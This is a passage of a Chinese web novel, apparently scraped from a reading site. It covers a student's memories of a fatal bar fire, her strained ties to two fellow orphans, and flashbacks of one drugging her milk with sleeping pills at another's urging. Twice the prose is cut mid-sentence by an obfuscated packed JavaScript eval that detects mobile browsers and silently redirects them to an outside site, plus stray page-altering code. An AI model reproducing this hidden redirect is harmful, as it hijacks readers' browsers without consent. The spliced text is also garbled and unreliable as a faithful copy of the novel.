眼睛,像在思考,又像审视,良久,突然出声:“谈谈?” 林寻无声皱眉,又想指喉咙,被容季打断。 他在自己的手机上点了两下,调出备忘录后递给她,不达目的不罢休:“我说。你打字。” 林寻拿着他手机,沉默两秒,还是点了下头。 她缓慢比划着:“聊完之后,一笔勾销。” 容季看她,知道她指的是刚才他救她和之前跟踪过她的事。轻轻笑了:“可以。” 容季走到她旁边,用肩膀抵着墙,他侧头看了眼巷子外面,很快就收回,看向林寻的大拇指:“我是容叶的哥哥。” 林寻手指没动。她猜到了。 容季继续:“三年前,“肆意”酒吧发生火灾,你知道这事吗?” “知道。” 她停顿两秒。继续敲:“火灾发生时,我在酒吧里面。” “你跟容叶是什么关系?” “同学。” 林寻缓缓打字:“同一个专业。但是之前没讲过两句话。我也是后来在酒吧看到她才知道她也在打零工。” 容季耐心等她打完。看完后,他沉默两秒,低声问:“火是怎么烧起来的,你知道吗?” 这回林寻一秒钟都没犹豫。三年前,她跟警.察说过无数次:“电线短路,引燃了酒,是意……” “不是意外。”斩钉截铁。 林寻一怔,手指跟着停下。她抬头看他。 巷子外,尖锐的警笛声由远及近,急促有力,划破虚空。车稳稳停在巷子口,警.察匆匆下车,朝他们飞奔。 手电筒的光在地面和墙壁跃动,忽明忽暗。 忽略掉周遭一切,容季紧紧盯住林寻的眼睛,目光沉沉,宛如深不见底的汪洋大海。 他低声重复:“不是意外。” 林寻和他对视。看到淹没在最深处的痛苦和偏执。 最后,上警车前,容季的两瓣唇碰了碰,隔着空气,无声朝她做了个口型。 …… 出警.察局,接近第二天上午六点,太阳挂在天上,又是个晴天。 容季已经走了。 林寻说不了话,所以做笔录时多耗费了点时间。 林寻就近在警局旁边找了家维修店。老板一阵鼓捣,告诉她手机问题不大,只是进了水,当场就能修好。这算是她这两天听到的唯一的好消息。 林寻付完钱,又打车去医院开了点药。 回去的路上,正好赶上早高峰,上班的,上学的,电动车,小汽车,都出来了,在马路上大排长龙。堵得水泄不通。 林寻靠在后座上疲惫地闭着眼。阳光照进来,白皙眼皮上条条红血丝清晰可见。 身体和灵魂都沉重不堪。不知不觉,她昏睡过去。 梦里的场景光怪陆离,变化多端。 一会儿回到她小时候,在孤儿院,趴在天台上吹着风,一会儿又梦到在未来的某一天,参加林西南和林逐行的婚礼,还梦到林阳,李华山,甚至何莉…… 最后的场景,是她倒在大火里,不远处趴着容叶,生死不明。画面一闪,容季凭空出现。 他半蹲在她面前,盯着她,吐出两个字。 “人为。” 林寻猛然一颤,睁开眼,后背全是冷汗。 恍惚看向车窗外。 到家了。 8. 第8章 深夜,饭店依旧灯火通明,来吃饭的人络绎不绝。 男人勾着好兄弟的脖子,脸通红。两人跌跌撞撞从饭店里出来。门口的迎宾员立刻迎上去关切询问是否需要帮忙。 男人醉眼朦胧看向他,一挥手。今天他前女友结婚,高兴嘛,多喝几杯而已,帮什么帮! 走到岔路口,两人步履蹒跚,东歪西倒。要做选择了,左还是右?哎,管它呢,路在脚下,走就是。 一个华丽的扭身—— 和从巷子跌跌撞撞冲出来的男人撞了个满怀。 “操,你他妈睁眼瞎啊走路不看路!”男人开口就是国粹,晃荡两下,觉得头更晕了,全靠兄弟支撑。 好不容易站稳,定睛一看,那个睁眼瞎狼狈地跌坐在地上,仓皇失措,脸涨成猪肝色。衣服裤子沾满泥污,跟乞丐一样。 被骂了,那人也不辩,慌慌张张,站起来就跑,嘴里还念念有词:“怎么,怎么会是他……他,他会不会来找我算账,怎么办,怎么办……要被发现了!”一副丢了魂的样子。 男人看着他背影,啐了句:“神经病!”继续晃悠着,走了。 李华山几乎是用飞的速度冲回出租屋。 他把门摔上,顾不得被容季踹中的脊梁骨还在隐隐作痛。他扑到床头柜上,拉开抽屉,从最底下抓出一大把照片,全是同一个圆脸女孩,有她逛街吃东西的,上课听讲的,趴在桌上写日记的……没一张正面视角,全是偷拍的。 李华山额头冒出冷汗。他在照片里翻找着,终于在最下面找到一张双人照。 拿到台灯下一看,照片上的男人果然和容季长得一模一样! 完了。李华山跌坐在地上,三魂散了二,七魄丢了五。 不对,不对……还有救,还有机会,他现在还不知道……只要,只要这些照片都没了……对!那证据就没了! 想出条明路,李华山挣扎着爬起身,把照片拿到燃气灶上,一股脑点燃。看着照片燃烧飞出的火星,李华山惨白的脸色好转了些。他出去打了个电话。 凌晨五点,容季做完笔录从警局出来。天色尚早,太阳还没出来,路灯都灭了,四周昏暗一片。 容季思索两秒,没选择叫车。他先回了趟和妹妹的家。再出来时手里拎了个黑色行李箱。 到家属楼时正好七点。太阳冒出头,远处白茫一片,空气湿润,充斥着清晨特有的雾气。几缕阳光穿透白雾,洒了容季满身。 经过路口,扫了眼。 之前被林寻推倒的垃圾桶已经被重新摆放整齐,光洁如新,像那晚的追逐是一场虚无缥缈的梦。 容季收回视线,脑子里浮现昨晚跟林寻的对话:同学,不熟,意外,一笔勾销。 呵。 也不知道是在嘲讽哪句。 容季停在一栋楼面前,扫了眼正上方的楼栋号,二十九。 学校给他分的宿舍正好在刘海楼上——正对林寻租的那间。上次晚上他来过,但是没带钥匙没进去门。 上楼,开门,把行李箱里的日用品和换洗衣物拿出来一一摆好。容季依靠在窗边,透过窗户看向对面,目光沉沉。对面的窗户紧闭,也没开灯。林寻还没回来。 …… 林寻在手机上付了打车费,下车,缓慢地爬台阶。刚睡醒,头也晕,眼也糊,一转弯,看见那人,林寻还有种自己还在梦里没醒的恍惚。 可惜不是错觉。林寻使劲闭了闭眼,再睁开,林逐行仍旧平静地立在她门口。 “……”林寻走到他面前站定,不动声色。 “阿寻,好久不见。”林逐行唤她,语气一贯的温柔,三言两语解释在这里的原因,“京大聘请我担任心理学的讲师,我问了你们辅导员,她说你租在这里。” 林寻垂着头,不语。心里盘算,确实挺久了,自从林逐行去美国读心理学硕士,两人再未见过。 最后一次见,是在三年前。 “肆意”酒吧门口,他和林西南在接吻。 林逐行盯着她头顶的发旋看了一会儿,突然瞥见她手里拎着的白色塑料袋里的药,眉头下意识皱起,语气急切:“怎么弄的。” 林寻垂眸,摇摇头。脸在阳光下白得透明。 她绕过他拿钥匙开门,率先进屋。 林逐行跟在她后面,看出她不想说,并不强求。他一贯贴心。 林寻弯腰换鞋。阳光透过窗户,落在她头顶,渡下一圈金芒,像是神明赐给天使的光环。 林寻去厨房倒水,包放在桌上,露出订婚请帖的一角。林逐行注意到,平静的脸色微变:“你跟西南见面了。是吗?” 林寻把水放在他面前的茶几上,抬头时刘海刺入眼睛,有些疼。快速眨两下眼。 “怎么头发这么长都不知道剪。”林逐行看到了,叹口气,去洗手间拿了剪刀,示意她坐在沙发上,想跟以前一样帮她剪刘海,动作自然而然。 林寻站在原地没动。 阳光落在二人之间。一道天然的分界线。 林逐行怔然,察觉到什么。他缓缓把剪刀放在茶几上,难以掩饰的落寞:“阿寻,你在抗拒我。” 话断在这儿。没有问原因,因为他们心里都清楚。 无关乎情感,只是出于承诺。在天台上,他们约定过永远对彼此坦诚。林逐行食言了。 林寻看了他一会儿,没有等来解释,沉默良久,扫一眼门的方向。 林逐行表情失落,他嘴唇动了动,最终只是说“我会再来看你的”,离开了。 林寻去厨房拿了个新杯子,就着温水吞了两颗药。她换上睡衣,躺在床上,打算补会儿觉。闭上眼,瞬间坠入梦境。 孤儿院,林西南被领养的前一天。 这周已经连着下了三天大雨。空气里弥漫着水气,人的皮肤几乎要被泡脓肿。墙壁角落里的蘑菇们倒是个个精神抖擞,往上窜了一大截。 林寻一如既往坐在平台外沿仰望天空,感受着风的流动。 林西南蹑手蹑脚来到她背后,悄无声息伸出双手—— 一把捂住林寻眼睛,压低声音,凑到她耳边:“猜猜我是谁啊~” 林寻把她的手扒拉下来,无语地吐槽:“你的易拉环吊坠硌到我了。” “什么啊。没意思。”林西南撅着小嘴,眼神亮晶晶的,是抱怨也是期待,“你就不能假装被我吓到一次吗!” 林寻看着她,沉默两秒:“啊。” 林西南:“……” 你还能再敷衍点吗! 她往后看了眼入口:“难得啊,林逐行居然没上来陪着你。” 林寻看了她一眼。说是难得,林寻一点都没听出她有在失望。 “你不喜欢林逐行。”陈述句。 林西南冷哼一声,没否认,“他就比你大五岁,比我大两岁,架子都快端到天上去了,我最看不惯他一天到晚拿着本书就一副要教导你的样子,跟刘老师一模一样。”林西南说着就学起刘老师的语气,假模假样咳嗽两声,“孩子们,上课了,听讲啊。” 林寻倒是不太在乎这些。她仰着头看天。 风吹不跑天上的乌云,看样子,这周还有大暴雨。 身旁一阵风。 林西南用手撑住平台,把脑袋凑到林寻旁边:“说起来……我比你大三岁诶。林寻,你叫我声姐姐听听。” 林寻平静提醒:“分财产的时候,多一个亲人,就多分走一份钱。” 这话狠狠踩在林西南痛脚上。 “那,那……” 她支吾着,半天也没后文。林寻看着天空,刚勾起嘴角,就听到她下一句。 “好吧,那等我们明天来平台玩的时候,你再叫姐姐吧!” 林寻立刻扭头看她。 林西南不敢跟她对视,脸泛着红,心虚的:“啊,睡一觉一定会是新的一天。你刚才分钱的话我就当没听过啊!” 林寻:“……” 伸手去掐林西南脸颊的肉。她难得幼稚一回。 林西南笑着躲开,两人闹成一团。 那时候,空气很干净,云静止。风轻拂过,带着草木气。 两个小女孩都没想到,那是她们最后一次在一起玩耍……没有明天了。 两人玩了一会儿。正好,林逐行拿着书上来,笑着叫林寻:“放晚饭了。” 林西南一看见他,扭头就跑下楼,不想跟他待一块。路过他时还重重哼一声,生怕谁不知道她讨厌他似。 林逐行走到林寻旁边,站定,眼睛落在门边——刚刚林西南从那出去。 “西南好像很黏你。” “什么?”风大,林寻没太听清楚。她转了个方向,两手撑住平台,一用力,从边沿上蹦下来。脸颊的红温还未褪去,她拍拍手上的灰,“你刚说话了吗?” 林逐行温和笑笑,摇了摇头:“没。下去吧。” 晚上,林西南照旧钻进林寻的被窝,这次居然没空着手,给她带了瓶牛奶,口是开的,溢出牛奶的醇香,林寻喝了口:“谢谢。” “睡吧。” “嗯。” 这一觉,林寻没日没夜睡了一天。醒来是第三天,窗帘拉着,门窗紧闭,暗无天日。林西南不在旁边。 林寻是从林逐行那里知道事情经过的。其实很简单,三两句就能说清楚。 林氏要领养一个孩子,要求是女孩。多少钱无所谓,他们家有的是,但一定要是最漂亮,最聪明的。林氏提前看过资料,在林寻和林西南间犹豫, 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那会儿她大一,贫困生资助只够交学费,上课之余,她在酒吧找了个兼职,钱不多,一个月一千五,刚够生活。 林逐行那会儿已经毕业一年,在准备去美国读硕士,有时会抽空去看看林寻,每次都想给她塞钱,林寻坚持不要。 周一晚上,林寻照例去酒吧打工。一进门,老板叫住林寻。他领着个女孩过来,介绍:“这也是你们学校的,林寻,你做的时间久,有空你多带带她。” 林寻放下酒过去。 女孩扎着马尾,圆脸,眼睛又大又亮,亲和力十足。 她朝林寻友好地伸出手,笑容很甜,热情道:“你好林寻,我叫容叶。” 林寻没什么特别的反应:“你好。” 容叶性格温柔,长相又乖巧可爱,没有人会不喜欢这个爱笑的女孩。她很快就和酒吧众人打成一片,除了林寻。 就如同林寻告诉容季的那样,一开始两人确实不熟,除了公事,没有多余交流。毕竟性格和爱好天差地别,能聊的东西实在有限。 转机是在一个平平无奇的下午。 周一,一般酒吧那天人都很少,不忙,所以林逐行一般也挑那一天去看她。 这周也是一样,林寻提前到酒吧,林逐行已经在等,不过两人没能聊多久,原因是老板在群里提议大家一起去团建。 说是团建,其实就是在酒吧旁边的小吃街上找个饭馆,点一桌子菜,一起吃个饭。 吃完饭,大约下午五点,太阳快落山了,小吃街人头攒动,渐渐热闹起来。大家三三两两走在前头热烈地聊着天。 林寻落在后面。 夕阳的余晖落在摊位上,美食的香味袅袅升起,恰好被暖黄色的光包裹,十足的烟火气。 林寻慢慢在街上走着,迎面走上来一群长相粗犷的男人,勾结搭背,五个人。她侧身避让,擦身而过的时候,中间那个男人扫了她一眼,眼中闪过惊艳。 走了两步,他停下,扭头,叫住林寻要微信。 林寻愣了一下,摇摇头,礼貌地回绝了。另外几个狐朋狗友见状,纷纷笑着说男人没用,小女孩都搞不定。 男人听见了,脸色一阵青白交错,觉得丢了面子。声音逐渐大起来,扯着林寻胳膊,一副她不给微信不让走的恶霸模样。 周围人瞧见他们五大三粗的模样,看见了也当没看见,纷纷低头快速走开。 林寻目光沉下来。她眼角抽动,刚想动手,身后突然传来一道声音,细声细气,却不容置疑:“放开她!” 林寻回头。容叶生气地朝她跑过来。阳光落在她身后,逆着光,带起地面上的尘土,在光束中飞扬。 一旦有人带头,周围也有早看不过眼的路人谴责出声。你一句我一句把那群人说得面红耳赤,灰溜溜走了。 夕阳西下,两人并排过马路。出了小吃街,林寻问她原因。 容叶理所当然地说:“你也帮过我呀。”她指的是林寻带她那事,那是老板的要求。 容叶停下脚步,不知道想起什么,眼神微微放空,她望着天边的火红晚霞,良久,低下头。她重新看向林寻,眼眸里是细碎的温暖和光芒,轻声:“林寻,你是个好人。” 林寻眼神猛然一颤。 “我第一次看见你,就觉得你是个好人。” “林寻,你是个好人。” 少女清脆的声音和记忆里的稚嫩童声一同响起。逐渐融合。 实在是太像了。林寻死死盯着容叶,有一瞬间,她仿佛,看到了林西南的脸。 9. 第9章 又是阳光明媚的周六。 林寻挣扎着起了床,换衣服。洗漱完,简单扎了个丸子头。 出门,上锁,下楼。和往常的每一天都一样。 虽然说昨天睡得很早,但许是做梦耗费大量的精气神,大脑过载。直到走出楼栋,她太阳穴还是在抽着疼。 阳光被楼栋门口的梧桐树叶遮挡完全,一丝缝隙也不留,林寻走在树底下,整个人都被笼罩在阴影下。 右转弯,突然看到林逐行,手里还拎着牛奶和面包。 林寻下意识停顿,最终,还是决定当没看到。她径直往前走。 “阿寻。”林逐行出声唤她。 这下不能装没听见了。林寻迫不得已回头。 林逐行似乎没注意到她的刻意无视,还是笑得温柔,他长相本来就偏女性,一笑,更显柔和,一丝攻击力也无。 他走近了些,想把早餐给林寻:“阿寻,早上好。” 林寻没接,也没说话。 悄无声息往后退了一小步,还是没退出阴影的范围。 林逐行没错过她的小动作。他后知后觉,想起什么,恍若如梦初醒,垂下眸,轻声问她:“阿寻,你是在介意我和西南订婚吗?” 没等林寻回应,紧接着,他自问自答,轻笑着摇头,仿佛是在无奈她这么大的人居然还会孩子气。 他笃定地开口,似在承诺:“我和她怎么样,都不会影响我们之间的关系。阿寻,林西南不应该对你造成任何影响。” “所以阿寻,不冲突的。”林逐行说。 林寻看着他,发现他神色认真。 他是真的这么想的,觉得和一个背叛过她的人订婚对他们来说只是件微不足道的小事。 心里愈发失望,她垂下眼,轻声问:“你是什么时候和林西南在一起的?” “什么?” “我的意思是。”看出他在装傻,林寻干脆问得更加直接,“你是什么时候喜欢上林西南的?” 这重要吗? 林逐行的眼神愈发迷茫不解,明明白白写着这句话。但他还是耐心回答了她的问题:“在三年前。那个时候,林氏跟京大合作,成立了自己的研发中心,在推进会上,我见到了西南……” 林寻不好奇他们的恋爱细节,皱着眉打断,直言:“三年前,你跟林西南见面,你并没有告诉过我,这跟我们约定的不一样。” “……” “林逐行,曾经,我是真的把你当成哥哥看待的。” 林寻转过身,走出阴影,走入阳光下。头顶的太阳光刺眼,林寻不适应,下意识眯眼。 却始终没有再回过头。 “你好,先生,先生?” 容季站在门外的长廊上。他紧紧盯着楼下。 林寻走出很远,林逐行还站在原地,良久,才转过身,像是受了什么天大的打击,步伐缓慢而沉重。他把早餐扔进垃圾桶里,慢慢走了。 容季立在楼上居高临下盯着他的背影,轻眯了下眼。 意识到快递员还没走,容季收回视线,接过他手里的快递,轻声“嗯”了一声。 快递员是挺年轻一个小伙子,看上去跟容季差不多大,也许是爬楼梯累着了,此时脸色还有些白,见容季签收,许是担心快递车里的快递被人偷,他快速跑下楼,楼道里一连串脚步声。 容季拿着箱子转身进屋,正好手机响了,他把快递随手搁在门旁边,掏出手机,接听。 是刘海。他现在应该打麻将,因为容季从电话里听见乱七八糟的洗牌响,伴随着刘海兴奋的大叫:“自摸!清一色!” 刘海把电话夹在耳边,搓麻将的动作不停,跟容季讲:“诶,小容啊,我现在搁外面呢,我前天在网上买了个收音机,说是今天到,我跟快递员说了,让送你那儿去,你到时候记得帮我签收一下啊。等有空我去拿。” 容季走到窗户边“唰”一下拉开窗帘,阳光瞬间照进来,落在人身上,暖洋洋的。 他应道:“刚送到了,我已经签收了。” “噢噢,那麻烦你了啊。” “没事刘叔。” 容季挂了电话,走到沙发上坐下,脑海里浮现出刚看到的画面,他屈身往前,手指无意识在玻璃茶几上叩敲。 五分钟后,收回手,视线看向窗外,梧桐树叶在风中轻轻摇摆,晃晃荡荡的。 他轻“哼”了声。 …… 周六的酒吧里人满为患,背景音乐震耳欲聋。DJ一只手打碟,另外一只高高举在空中,和人们一起尖叫,欢呼。 林寻漫不经心收拾着卡座上的空酒瓶和散在桌面上的零食,心思总也集中不了。 为什么容季说容叶的死是人为呢? 明明那天她就在酒吧里。难道是错过了什么细节吗。 林寻试图唤醒事发当天的记忆,但是总被嘈杂的鼓点节拍打断。她走到更衣室,看了眼手机,晚上6点,刚好下班,她换上自己的衣服,走到街上,左拐,往家的方向走。 路过那条小巷子,林寻顿住,朝里扫了眼。一天的太阳晒,地面早干了,水被蒸发不见,留下一个个凹凸不平的坑洼。 墙壁上全是油烟污渍,唯独一块比周围白净些,像是给整面墙撕了条口子,黑与白界限分明。 林寻收回眼,继续顺着大路走,走了十来米,才后知后觉想起那是当时容季肩膀靠的地方。她停住,旁边立着路灯,昏黄的光完整地将林寻笼罩进去,莫名心安。 林寻掏出手机,想了想,点开通讯录,给刘海打了个电话。 “喂?”刘海还在牌桌上,电话倒扣在桌上他也没注意是谁,随手就接起来。 “刘叔好,我是林寻。” “啊,是小姑娘啊……”刘海本来还在摸牌,突然意识到什么,心里一慌,他赶忙起身,走到棋牌室外面,找了个安静的地,“是不是遇到危险了?你别着急,慢慢说。” “没有,刘叔,您别担心,我打电话里只是想……” 仿佛遇到什么难以启齿的事情,电话那头居然没了声音。 刘海奇怪地把手机从耳边拿下来看,嘴里嘀咕两声“没挂啊”,复又举到耳边,问她:“想什么?” 林寻使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282792|166910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劲闭了闭眼,耳朵尖微微泛红。 她深吸一口气,想着一鼓作气赶紧说完赶紧了事:“想问问您上次跟您一起来我家的,您那位同事的电话号码,我,我感觉好像喜欢上他了,想,想加他微信跟他表白……” 她声音结结巴巴的,听在刘海耳朵里就是小姑娘羞涩的证明,愣了一下后他很快揶揄地笑出声。哎呀,现在这些年轻人啊~ “那敢情好啊,你等一下啊,刘叔给你报……”他捣鼓了半天也没弄明白怎么退出通话界面,怕小姑娘等着急,干脆连贯地报了串门牌号过去。 “小姑娘,我记得你住28栋对吧,他住29栋,5楼,倒数第3间就是……那小子今天正好休息,你要是有什么话,就直接当面跟他说吧。” 林寻想了想,觉得当面聊也行,也许还更有效果,道了声谢后挂了电话。 到家属楼,林寻站在中央,刚准备进29栋,被身后的人叫住:“阿寻。” 林寻回头,语气僵硬:“我以为上午我说得够清楚了。” 林逐行从墙根底下走出来。靠近两步,他垂眸看她,林寻没抬头,他只能看见她的头顶,看不见她的眼睛,也不知道她的想法:“我可以解释。” 林寻仍旧不跟他对视。 林逐行抬起手,想揉她的脑袋,声音近乎蛊惑:“记得吗,我们第一次见面,我就说过,我很喜欢你,所以阿寻,不要跟我生气,我希望我们能回到从前,你和我,我们俩那样……” 突然响起一阵鼓掌声。 两人同时看过去。 “挺煽情啊。” 林西南斜靠着路口的路灯站着,依旧是短发,尾部烫了,打着卷儿,利落又张扬。她依旧裹得很严实。光线照在她身上,那条镶钻项链在她光洁的脖颈上微微闪着光。 她跟林寻差不多高,都是1米65左右。如果排除此刻踩着的7厘米恨天高的话。 她走到林寻面前,站定,抱着胳膊,眼神施压:“你们在干什么?” 林逐行下意识皱眉,他收回手,话里带着提醒:“西南。” 林西南没理他,她依旧死死盯着林寻,半晌,突然笑了一声,像是才明白过来,嘲讽又不屑:“所以现在是,我替了你的领养资格,你就要来抢我的未婚夫吗?林寻,你比我想得还要令人作呕。” “我们俩到底谁更恶心。”林寻也皱起眉,她看向林西南,她哪里还有一丁点小时候善良灵动的样子,冷声道,“我没这么想过。” “没有最好。”林西南“哼”了一声,嘴唇动了动,还要再说什么。 被林逐行不满地打断:“西南,够了。” 林逐行看向林寻,眼神瞬间变得温柔,他跟林寻道别,林寻没回他。林逐行也不介意,转过身,越过林西南的时候盯了她一眼,他率先朝车的方向走。 林西南慢悠悠跟在他后面。 林寻沉默地看着她的背影。 她走了两步,突然回过头。林逐行已经上车了。她看向林寻,语气毫不掩饰的高傲和狂妄,话里话外透露着极强的占有欲。 “离林逐行远点。” 10. 第10章 玛莎拉蒂在空旷的马路上飞驰。 耳边是呼啸而过的风声。林西南慢悠悠从包里摸出女士香烟,又倾身去前面的抽屉拿打火机。 “咔嚓”一声。 她懒散地吸一口,吐出。狭小的车厢顿时烟雾缭绕。 林逐行握着方向盘,微不可查皱了下眉。他把侧边的车窗降下来。 林西南嘲讽地扫了他一眼。她把手肘随意搭在窗框上,偏头看向外面。 “订婚帖是你给阿寻的吗?” 闻言,林西南扭过头,看一眼左手边的男人,不到两秒就收回,重新看向窗外。 她用两根手指夹着烟,往窗外随意抖了抖烟灰,语气吊儿郎当的:“怎么,敢跟我订婚还怕她知道?你敢做不敢当啊?” 绿灯倒计时结束转为黄灯,林逐行踩下刹车,车速减慢。 他目视前方,话里没有一丝温度:“我记得曾经提醒过你,别介入我和阿寻之间。” 林西南冷哼一声,嘲讽的表情愈发明显。她慢悠悠用手腕撑住脑袋。她转着头:“少来了林逐行,在我面前你还装什么?说得像你对林寻多好一样,你别忘了你以前……” 话音未落,侧面突然一阵风。林西南刚转头,就被林逐行一把掐住脖子。 指间的香烟滑落,掉在车窗外,无声在沥青地面上翻滚两圈,灭了。 车窗缓慢升起。 林逐行的右手大拇指缓慢地按在林西南的锁骨之间,一路上滑,最后,停在咽喉处。 他一使劲,林西南整个上半身瞬间被扯着带向他。 林逐行贴附在林西南耳边。如果此时有车停在他们旁边,一定会以为是小情侣在亲昵的耳鬓厮磨。 他靠近她左耳,呼吸打在她皮肤上,瞬间激起一身鸡皮疙瘩。 缓慢开口,声音轻到近似呢喃:“西南,你一点都没变。和我们在孤儿院的时候一模一样,一样的天真,一样的碍事,让我感到极其……” “厌烦。” 最后两个字落下,他的右手骤然发力。林西南瞬间呼吸困难:“呃……” 她涨红着脸,瞳孔跟着放大,宛如一条在案板上濒死的鱼。她想去拍开林逐行的手,但是怎么也使不上劲。 林逐行就这么冰冷地欣赏着林西南无力的挣扎。直到在她要窒息的前一秒,才慢悠悠松开她的脖子。手却没收回。 林逐行懒散地用食指挑起林西南脖子间挂着的镶钻项链,然后收紧。脖颈上瞬间被勒出圈细长红痕。 她的卷发在空气中轻轻晃动。他看见了,面露嘲讽:“比起现在,我还是更加喜欢你以前红色大波浪长发的样子。” 坐正身子,大发慈悲收回手,从口袋里拿出手帕,慢条斯理地擦拭着右手,确保每一根手指都擦拭干净。 绿灯亮起,林逐行随手把弄脏的手帕丢出车窗,踩下油门。车身瞬间越过斑马线飞出去。 他目不斜视,连眼神都懒得施舍给副驾驶还在难受地大喘气的林西南。 声音裹挟刺骨寒意:“这次就算了。再让我知道你私下里去接触阿寻……” 不知道联想到什么有意思的事情,他微微勾唇,笑了:“那件事,想必你亲爱的弟弟,林氏另一个继承人林杰森,一定会非常感兴趣。” 林西南死死捂住自己的脖颈。刚才窒息的感觉还停留在身体上挥之不去,头晕目眩中,她恍惚抬起头,眼眸里倒影出林逐行此时此刻的面容。 那阴狠毒辣的笑容,和十一年前在孤儿院鼓动她给林寻下药那天的一模一样! 她闭上眼,瘫靠在座椅上,惊惧和害怕让她无法再直视林逐行。嘴唇嗫嚅两下,无声吐出两个字。 “恶魔。” …… 十一年前,林氏去孤儿院的前一天。 吃完晚饭,林西南开心地蹦跳着去图书室。她今天上阅读课的时候瞥见书架上有一本超有意思的漫画书,还没被别人借走,她要赶紧拿出来跟林寻一起看。 图书室和办公室一墙之隔。林西南拿着书出来的时候,办公室里面亮着灯,里面隐隐约约传出来交谈声,她没太在意,转身准备跑。身后突然有人叫住她:“西南。” 林西南不明所以地回头,见是林逐行,她翻了个白眼,刚准备走,突然被拉到门边。 “放开我。”林西南皱着眉想甩开他,却听到里面传来的声音。 “林氏确定是明天来看林寻和林西南吧?”是院长的声音。 听到自己的名字,林西南一愣,挣扎幅度小了,她身后,林逐行无声笑了。他松开了她的手腕。 “唉,也不知道会选她们中的哪一个,要我说,怎么不两个都领养了呢。”这是个女人的声音,好像是医务室的老师。 “你也别太贪心了,能领养一个都不错了,他们家的背景你我也不是不知道,就看明天那两个孩子中谁更有福气了。” 老师被一堵,沉默了两秒,她想找回场子,低声道:“我上次跟林家的人通电话,似乎,他们对领养林寻更加有意向,你说会不会是她啊?” 院长摇摇头,没到最后,她不想把话说太死,只是回:“明天就有结果了。” 之后,两人又聊起别的事。 林西南怔然离开,她走到游乐场,突然一个猛回头,质问身后那人:“你特意让我知道这事有什么目的。” 林逐行抱着胳膊,一脸诚恳:“我也是出于好意。西南,你敢说,你不想提前知道这事吗?” 林西南被一堵,低头不做声了。 林逐行走到她身边,笑着看她:“听说林家资产上亿,错过他们,下一个领养人,可不一定有这个实力了。” 林西南表情怔愣,她嘴唇动了动,最终只憋出了句:“我知道,林寻喜欢自由,她不在乎钱,她不会跟我抢的。” 旁边,林逐行“噗嗤”一声,像是在嘲笑她的天真。 他挑起眉,本就漂亮的脸美到近乎妖孽:“这个世界上谁不喜欢钱?西南,我没想到,你居然会这么可爱。” “那,那我去跟林寻商量一下,等我被林家领养了,就,就把她接出孤儿院……”她的声音在林逐行讽刺的目光中越来越小…… “那你故意让我知道这件事干什么!你那么喜欢林寻,你为什么先选择告诉我不告诉她?” “正因为我喜欢阿寻,所以,我才想和她永远待在一起。”林逐行凑近林西南,他的阴影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282793|166910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笼罩在她头顶。他叹息着,“西南,你实在是太黏阿寻了,她的生活习惯,她的性格,都在潜移默化被你影响,这不是我想看到的。” 他塞了个东西在林西南手里。她恍惚间低头看,是瓶安眠药。 林逐行后退两步,他转过身,不再看林西南,边走边笑,声音带着蛊惑:“去做吧。或者,你敢赌的话。” 林西南沉默地看着他的背影,两秒后,仿佛孤注一掷地,她挣扎着吼了句:“你会一直对林寻好吗?” 林逐行脚步没停,他嘴角的笑容无声扩大。他知道她的选择了。 他背朝她微微点头,走了。 后来,林西南恍惚着离开游乐场地。 等回过神来的时候,她已经把下了安眠药的牛奶端到了林寻面前。 林寻坐在床上看她,眼神有些意外,掺杂着两分惊喜:“给我的吗?” 林西南笑容勉强:“嗯。” 林寻把牛奶一饮而尽,很快就睡熟了。 夜深了,万籁俱寂。 林西南躺在木床上,她轻轻贴住林寻。 窗帘被老师拉上了,今晚没有月光。 她用两只胳膊环抱住林寻,脸贴在她后背上,眼睛向上看着天花板,依旧洁白无瑕,和第一天晚上一样。 林西南发了一会儿呆,良久,她终于回过神,眼神重新聚焦,哽咽着对天发誓。 “林寻,我没有亲人,第一次在孤儿院看见你的时候,我说你是个好人,后来和你相处久了,我早就把你当成我的亲妹妹了……你原谅我这一次,我保证就这一次。等我在林家站稳脚了,我就想办法把你接出孤儿院。你,你等等我……等等姐姐好不好?” 林逐行给的安眠药效果很好,林寻呼吸平稳,闭着眼,背影看上去平静又安稳。 林西南微微叹了口气,最后紧紧地拥抱了她一下。然后她转过身子,平躺在床上,双手交叉在腹部,也闭上眼,轻声呢喃着。 “晚安,我的妹妹。” 事情的发展和林西南希望的一样。第二天林家来,只看到她一个,果然直接就定了领养她。 手续办下来速度出奇快,第三天清晨,林西南已经坐在了林家的车上。 天空乌云密布,从凌晨开始,一直在下瓢泼大雨,半空中全是因为暴雨起的白雾。 车缓慢驶离孤儿院的大门。前面主驾驶的司机轻声抱怨着雨大泥泞不好开车。后座,林西南端坐在林家父母旁边。 孤儿院建在山上,一出大门是条下坡路,车上四人被颠簸地来回摇晃。借着这个机会,林西南迅速回头透过后备箱的玻璃看了眼身后的孤儿院。 但是雨雾太大了,她只能隐约看见那个她们曾经玩耍过无数次的天台,再具体的,就看不清了。 她怏怏扭过头,在心里给自己打气,没关系,分别只是暂时的,等安顿好了,她一定会想办法把林寻接出来。 可惜总是事与愿违,往往人算不如天算。 那时候的林西南没想到,那次她们从孤儿院分开之后,距离跟林寻再见面,中间居然隔了整整八年时间。 在林西南被林家带走的一个月后。 孤儿院,倒闭了。 11. 第11章 “喂,林杰?林杰!” 